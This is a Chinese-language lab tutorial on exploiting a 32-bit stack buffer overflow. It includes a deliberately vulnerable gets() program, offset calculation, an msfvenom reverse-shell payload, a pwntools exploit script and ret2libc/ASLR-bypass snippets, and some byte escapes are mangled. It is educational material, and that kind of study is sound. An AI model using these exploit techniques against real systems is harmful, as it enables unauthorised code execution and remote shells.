环境搭建安装Ubuntu 20.04/22.04 LTS,终端执行:
sudo apt install gcc-multilib gdb python3-pip
pip3 install pwntools
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
配置32位兼容库:sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install libc6:i386
栈溢出基础
漏洞程序示例(vuln.c):
voidvuln() {
char buf[32];
gets(buf); // 无边界检查
}
intmain() { vuln(); }
编译:gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln
关键参数说明:
-m32
:生成32位程序-fno-stack-protector
:禁用Canary-z execstack
:关闭NX保护
调试与偏移计算
用gdb定位崩溃点:
gdb ./vuln
run <<< $(python3 -c "print('A'*40)")
观察EIP寄存器值(如0x41414141)确认覆盖位置计算偏移:
cyclic 40 # 生成唯一模式串
cyclic -l 0x6161616c # 通过崩溃值反推偏移
本例中偏移为36字节(32字节buf + 4字节EBP)
Shellcode编写与定位
生成反向Shellcode(x86)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f py
输出约95字节的机器码(需用NOP sled填充对齐)在栈中定位Shellcode:gdb中执行run <<< $(python3 -c 'print("A"*36 + "BBBB" + "x90"*200 + shellcode)')
断点设置在ret
指令,用x/100x $esp
观察0x42424242下方NOP区域地址(如0xffffd300)
Exploit构造完整Python利用脚本(exp.py):
from pwn import *
context(arch='i386', os='linux')
ret_addr = 0xffffd300 # 替换为实际NOP地址
payload = b'A'*36 # 填充缓冲区
payload += p32(ret_addr) # 覆盖返回地址
payload += b'x90'*200 # NOP滑板
payload += b'x31xc0x50...' # 你的Shellcode
io = process('./vuln')
io.sendline(payload)
io.interactive()
基础防护绕过
开启ASLR时泄漏地址:
io = process('./vuln')
io.recvuntil('data:')
leak = io.recv(4)
libc_base = u32(leak) - 0x18637 # 根据泄漏值计算基址
绕过NX的ret2libc攻击:
payload = b'A'*36
payload += p32(libc_base + 0x3cd10) # system地址
payload += b'BBBB' # 虚假返回地址
payload += p32(libc_base + 0x17e0cf) # /bin/sh字符串地址
必备工具链
反汇编:
objdump -d ./vuln | less
查找gadget:
ROPgadget --binary ./vuln
动态调试:
gdb -q ./vuln
→b *main
→run
→vmmap
(查看内存映射)堆分析:
gef➤ heap chunks
/pwndbg> vis_heap_chunks
扫码加入知识星球:网络安全攻防(HVV)
下载本篇和全套资料
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...